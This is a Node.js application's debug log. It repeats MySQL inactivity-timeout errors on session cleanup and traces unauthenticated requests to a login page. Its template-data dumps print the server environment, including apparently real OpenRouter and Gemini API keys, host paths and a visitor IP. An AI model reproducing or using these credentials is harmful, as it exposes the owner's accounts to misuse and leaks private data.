    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 19:14:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 21:11:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 21:11:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-13 22:38:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-13 22:38:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 04:23:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 04:23:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 07:02:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 07:02:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 07:24:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 07:24:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 08:34:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 08:34:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 12:47:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 12:47:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 13:00:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 13:00:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 17:57:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 17:57:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 21:16:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 21:16:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 21:20:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 21:20:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 21:28:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 21:28:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-14 21:32:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-14 21:32:54' as DATETIME)"
}
2026-02-15T02:39:50.995Z server-connect:router Serving templateView /
2026-02-15T02:39:50.997Z server-connect:app Executing action step identify
2026-02-15T02:39:50.997Z server-connect:app options: { provider: 'security' }
2026-02-15T02:39:50.997Z server-connect:auth No login cookie found
2026-02-15T02:39:50.997Z server-connect:output identity: false
2026-02-15T02:39:50.997Z server-connect:app Executing action step restrict
2026-02-15T02:39:50.997Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-15T02:39:50.998Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-15 09:59:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-15 09:59:56' as DATETIME)"
}
2026-02-15T14:22:56.966Z server-connect:router Serving templateView /
2026-02-15T14:22:56.968Z server-connect:app Executing action step identify
2026-02-15T14:22:56.968Z server-connect:app options: { provider: 'security' }
2026-02-15T14:22:56.968Z server-connect:auth No login cookie found
2026-02-15T14:22:56.968Z server-connect:output identity: false
2026-02-15T14:22:56.968Z server-connect:app Executing action step restrict
2026-02-15T14:22:56.968Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-15T14:22:57.360Z server-connect:output restrict: undefined
2026-02-15T14:23:02.452Z server-connect:router Serving templateView /login
2026-02-15T14:23:02.453Z server-connect:app Executing action step identify
2026-02-15T14:23:02.453Z server-connect:app options: { provider: 'security' }
2026-02-15T14:23:02.453Z server-connect:auth No login cookie found
2026-02-15T14:23:02.453Z server-connect:output identity: false
2026-02-15T14:23:02.453Z server-connect:router Render template layouts/authentication
2026-02-15T14:23:02.615Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.71.232.162',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-16T14:23:02.452Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.71.232.162',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.71.232.162',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-15T14:49:51.825Z server-connect:router Serving templateView /
2026-02-15T14:49:51.826Z server-connect:app Executing action step identify
2026-02-15T14:49:51.826Z server-connect:app options: { provider: 'security' }
2026-02-15T14:49:51.826Z server-connect:auth No login cookie found
2026-02-15T14:49:51.826Z server-connect:output identity: false
2026-02-15T14:49:51.826Z server-connect:app Executing action step restrict
2026-02-15T14:49:51.826Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-15T14:49:51.827Z server-connect:output restrict: undefined
2026-02-15T14:49:52.487Z server-connect:router Serving templateView /login
2026-02-15T14:49:52.487Z server-connect:app Executing action step identify
2026-02-15T14:49:52.487Z server-connect:app options: { provider: 'security' }
2026-02-15T14:49:52.487Z server-connect:auth No login cookie found
2026-02-15T14:49:52.487Z server-connect:output identity: false
2026-02-15T14:49:52.487Z server-connect:router Render template layouts/authentication
2026-02-15T14:49:52.488Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
